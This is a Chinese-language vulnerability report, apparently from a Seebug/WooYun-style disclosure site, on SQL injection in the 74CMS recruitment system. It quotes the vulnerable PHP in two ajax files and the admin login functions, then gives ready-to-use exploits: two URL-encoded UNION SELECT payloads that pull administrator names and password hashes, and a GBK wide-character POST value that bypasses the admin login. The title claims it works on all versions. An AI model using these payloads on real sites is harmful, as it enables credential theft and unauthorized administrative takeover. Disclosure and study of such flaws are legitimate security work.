### 简要描述：整套程序过滤的还是比较全面的不过所有版本都是GBK编码是他的硬伤但是基本上字符串入库的时候作者都使用了iconv来把提交过来的数据编码转换成utf8 所以利用宽字符注入就没办法了但是过滤完善仅限3.2版本之前最新的3.2版本plus目录多了几个文件不知道是不是换了程序员了... 先上两个白痴注入吧~ ### 详细说明：注射1: ``` \plus\ajax_officebuilding.php (16行) if($act == 'alphabet') { $alphabet=trim($_GET['x']); //笑嘻嘻肯定是换程序员了不解释 if (!empty($alphabet)) { $result = $db->query("select * from ".table('category')." where c_alias='QS_officebuilding' AND c_index='{$alphabet}' "); //笑嘻嘻 while($row = $db->fetch_array($result)) { if ($listtype=="li") { $htm.="

{$row['c_name']}

"; } else { $htm.="

{$row['c_name']}{$row['stat_jobs']}

"; } } if (empty($htm)) { $htm="没有找到首字母为：{$alphabet} 的写字楼！"; } $htm.=""; exit($htm); } } ``` 注射2: \plus\ajax_street.php (16行) ``` if($act == 'alphabet') { $alphabet=trim($_GET['x']); //几乎和上面一个注入一模一样的不多说了 if (!empty($alphabet)) { $result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_index='{$alphabet}' ");//笑嘻嘻 while($row = $db->fetch_array($result)) { if ($listtype=="li") { $htm.="

{$row['c_name']}

"; } else { $htm.="

{$row['c_name']}{$row['stat_jobs']}

"; } } if (empty($htm)) { $htm="没有找到首字母为：{$alphabet} 的道路！"; } exit($htm); } } Exp: 1. plus/ajax_officebuilding.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_name,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23 2. plus/ajax_street.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_name,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23 ``` [

](https://images.seebug.org/upload/201207/29214446173afe3d41f3aafa9dd7aadbafa4b14e.png) 读过这程序的应该都知道有注入也是白搭因为hash解不出来我没仔细看他的密码加密方式反正是多次加密的试了十几个一个都没解出来.... 所以得来点杀伤力大的不然不是白搞了吗随后批量搜索了一些危险函数执行变量覆盖写文件神马的都没什么好的发现继续把目标转向后台立马就笑嘻嘻了~~ ``` \admin\admin_login.php (42行) elseif($act == 'do_login') { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : ''; //没过滤~~~ $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : ''; $postcaptcha = isset($_POST['postcaptcha']) ? $_POST['postcaptcha'] : ''; $remember = isset($_POST['rememberme']) ? intval($_POST['rememberme']) : 0; if($admin_name == '') { header("Location:?act=login&err=".urlencode('用户名不能为空')); exit(); } elseif($admin_pwd == '') { header("Location:?act=login&err=".urlencode('密码不能为空')); exit(); } $captcha=get_cache('captcha'); if(empty($postcaptcha) && $captcha['verify_adminlogin']=='1') { header("Location:?act=login&err=".urlencode('验证码不能为空')); exit(); } if ($captcha['verify_adminlogin']=='1' && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) { write_log("验证码填写错误",$admin_name,2); header("Location:?act=login&err=".urlencode('验证码填写错误')); exit(); } elseif(check_admin($admin_name,$admin_pwd)) //关键函数直接带入进去了 { update_admin_info($admin_name); write_log("成功登录",$admin_name); if($remember == 1) { $admininfo=get_admin_one($admin_name); setcookie('Qishi[admin_id]', $_SESSION['admin_id'], time()+86400, $QS_cookiepath, $QS_cookiedomain); setcookie('Qishi[admin_name]', $admin_name, time()+86400, $QS_cookiepath, $QS_cookiedomain); setcookie('Qishi[admin_pwd]', md5($admin_name.$admininfo['pwd'].$admininfo['pwd_hash'].$QS_pwdhash), time()+86400, $QS_cookiepath, $QS_cookiedomain); } } else { write_log("用户名或密码错误",$admin_name,2); header("Location:?act=login&err=".urlencode('用户名或密码错误')); exit(); } header("Location: admin_index.php"); } ``` 继续追下check_admin函数: \admin\include\admin_common.fun.php (197行) ``` function check_admin($name,$pwd) { global $db,$QS_pwdhash; $admin=get_admin_one($name); //先把程序name带入了这个函数进行了一次查询 $md5_pwd=md5($pwd.$admin['pwd_hash'].$QS_pwdhash); $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd ='".$md5_pwd."' "); //继续查询 if($row['num'] > 0){ return true; }else{ return false; } } ``` 再看看get_admin_one函数: \admin\include\admin_common.fun.php (237行) ``` function get_admin_one($username){ global $db; $sql = "select * from ".table('admin')." where admin_name = '".$username."' LIMIT 1"; //同样直接查询了 return $db->getone($sql); } ``` get_admin_one函数和check_admin函数都是直接就带入查询了除了POST开头被addslashes函数过滤过一次但是在宽字符面前这些都是浮云~~ so... 直接向 admin_login.php?act=do_login 构造以下POST语句就能直接进后台了~~ 当然前提你得有后台路径: admin_name=fuckyou%d5' or 1=1%23&admin_pwd=1 ### 漏洞证明： [

](https://images.seebug.org/upload/201207/2921461361b6b23e0378c2d536c1321f9d1fdb35.gif)

74CMS 人才系统注入全版本通杀进后台